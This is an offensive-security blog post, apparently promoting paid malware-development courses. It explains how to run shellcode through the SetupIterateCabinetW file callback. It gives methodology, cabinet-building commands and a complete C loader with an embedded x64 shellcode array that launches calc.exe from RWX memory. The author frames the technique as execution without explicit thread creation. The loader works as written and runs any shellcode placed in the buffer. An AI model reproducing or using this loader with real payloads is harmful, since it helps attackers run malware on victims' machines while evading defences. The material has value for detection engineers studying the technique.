>_0x12Dark
←back to posts
cybersecurityoscphackerinfosecmalware

Local Shellcode Execution via SetupIterateCabinetW

Welcome to this new Medium post, today we are going to explore a shellcode execution technique that abuses SetupIterateCabinet(a Cabinet file enumeration function from setupapi.dll) to dispatch…

Local Shellcode Execution via SetupIterateCabinetW

Welcome to this new Medium post, today we are going to explore a shellcode execution technique that abuses SetupIterateCabinet(a Cabinet file enumeration function from setupapi.dll) to dispatch shellcode through a file callback pointer

Want to go deeper into Windows offensive development?

Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.

0x12 Dark Development

Introduction

SetupIterateCabinetW is a public Win32 API exported from setupapi.dll. Its purpose is to enumerate the files contained in a Cabinet (.cab) archive. For each file entry it finds, it invokes a supplied callback function. The function signature is:

UINT CALLBACK FileCallback(
PVOID Context,
UINT Notification,
UINT_PTR Param1,
UINT_PTR Param2
);

The third parameter to SetupIterateCabinetW is a PSP_FILE_CALLBACK_W, which is just a typed function pointer. Windows will call whatever address you supply there once per Cabinet file entry, using the standard x64 calling convention:

RCX = Context pointer (your fourth argument to SetupIterateCabinetW)
RDX = Notification code (SPFILENOTIFY_* constant)
R8 = Param1
R9 = Param2

The Cabinet file is a required precondition. SetupIterateCabinetW validates the .cab header before it dispatches any callback. If the file does not exist or is malformed, the function returns FALSE with GetLastError() = 2 (ERROR_FILE_NOT_FOUND) and the callback is never reached.

Any valid .cab containing at least one file entry is sufficient, the content does not matter, only the structure

Methodology

  1. Allocate executable memory and copy the shellcode

Use VirtualAlloc with PAGE_EXECUTE_READWRITE to allocate a region large enough for the shellcode, then copy the bytes in with RtlMoveMemory. The PAGE_EXECUTE_READWRITE flag is the noisiest part of this technique and the realistic detection surface

2. Verify the Cabinet file path

Before calling SetupIterateCabinetW, confirm the target .cab exists with GetFileAttributesW. An INVALID_FILE_ATTRIBUTES return means the file is missing or inaccessible. The function will fail silently on bad paths and return ERROR_FILE_NOT_FOUND, catching this early produces a cleaner error path

3. Build the Cabinet file path

Either hardcode the absolute path or build it at runtime

4. Cast the shellcode pointer to PSP_FILE_CALLBACK_W and call SetupIterateCabinetW

Pass the shellcode address as the third argument. Windows will call it once for each file entry in the Cabinet. For a minimal .cab with one file, it fires once

5. Check the return value

SetupIterateCabinetW returns FALSE on any failure. Call GetLastError() on failure to distinguish the error

Implementation

Building the Cabinet file

Any valid .cab works. The simplest approach from PowerShell or CMD:

New-Item dummy.txt -Value "x"
makecab dummy.txt project_test.cab

Place the resulting file in the same directory as the compiled executable.

Resolving the Cabinet path at runtime

Don’t hardcode the path like me, please…

Do better, something like this:

wchar_t exePath[MAX_PATH];
GetModuleFileNameW(NULL, exePath, MAX_PATH);

wchar_t *lastSlash = wcsrchr(exePath, L'\\');
if (lastSlash) *(lastSlash + 1) = L'\0';

wchar_t cabPath[MAX_PATH];
swprintf_s(cabPath, MAX_PATH, L"%sproject_test.cab", exePath);

Allocation and setup

PVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), 
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!exec_mem) {
printf("VirtualAlloc failed: %lu\n", GetLastError());
return 1;
}

RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));

Cabinet path validation

if (GetFileAttributesW(cabPath) == INVALID_FILE_ATTRIBUTES) {
printf("Cabinet file not found: %lu\n", GetLastError());
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 1;
}

This saves a confusing Error: 2 on the SetupIterateCabinetW call when the file is simply missing

Dispatch

BOOL result = SetupIterateCabinetW(
cabPath, 0,
(PSP_FILE_CALLBACK_W)exec_mem, NULL
);
if (!result) {
printf("SetupIterateCabinetW failed: %lu\n", GetLastError());
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 1;
}

The cast (PSP_FILE_CALLBACK_W)exec_mem is the core of the technique.

Code

#include <windows.h>
#include <setupapi.h>
#include <stdio.h>

// https://piyushaakash.medium.com/security-research-report-control-flow-redirection-via-setupapi-callback-dd2aeaa69a8b

#pragma comment(lib, "setupapi.lib")

int main() {
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

PVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec_mem) {
printf("VirtualAlloc failed: %lu\n", GetLastError());
return 1;
}

if (!RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode))) {
printf("RtlMoveMemory failed\n");
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 1;
}

PCWSTR cabinetFile = L"C:\\Users\\s12de\\Documents\\Github\\malwaretechniques\\Execution\\SetupIterateCabinetW\\x64\\Debug\\project_test.cab";

if (GetFileAttributesW(cabinetFile) == INVALID_FILE_ATTRIBUTES) {
printf("Cabinet file not found: %lu\n", GetLastError());
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 1;
}

printf("Triggering execution via Setup API...\n");

BOOL result = SetupIterateCabinetW(cabinetFile, 0, (PSP_FILE_CALLBACK_W)exec_mem, NULL);
if (!result) {
printf("SetupIterateCabinetW failed: %lu\n", GetLastError());
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 1;
}

VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}

Proof of Concept

Just run the code, and the shellcode (calc.exe) it’s executed:

Conclusions

SetupIterateCabinetW gives you shellcode execution through a legitimate system API callback mechanism without any explicit thread creation. The Cabinet parser validates the file header and dispatches the registered callback, which means the shellcode runs on the current thread and SetupIterateCabinetW does not return until it finishes

📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube

S12.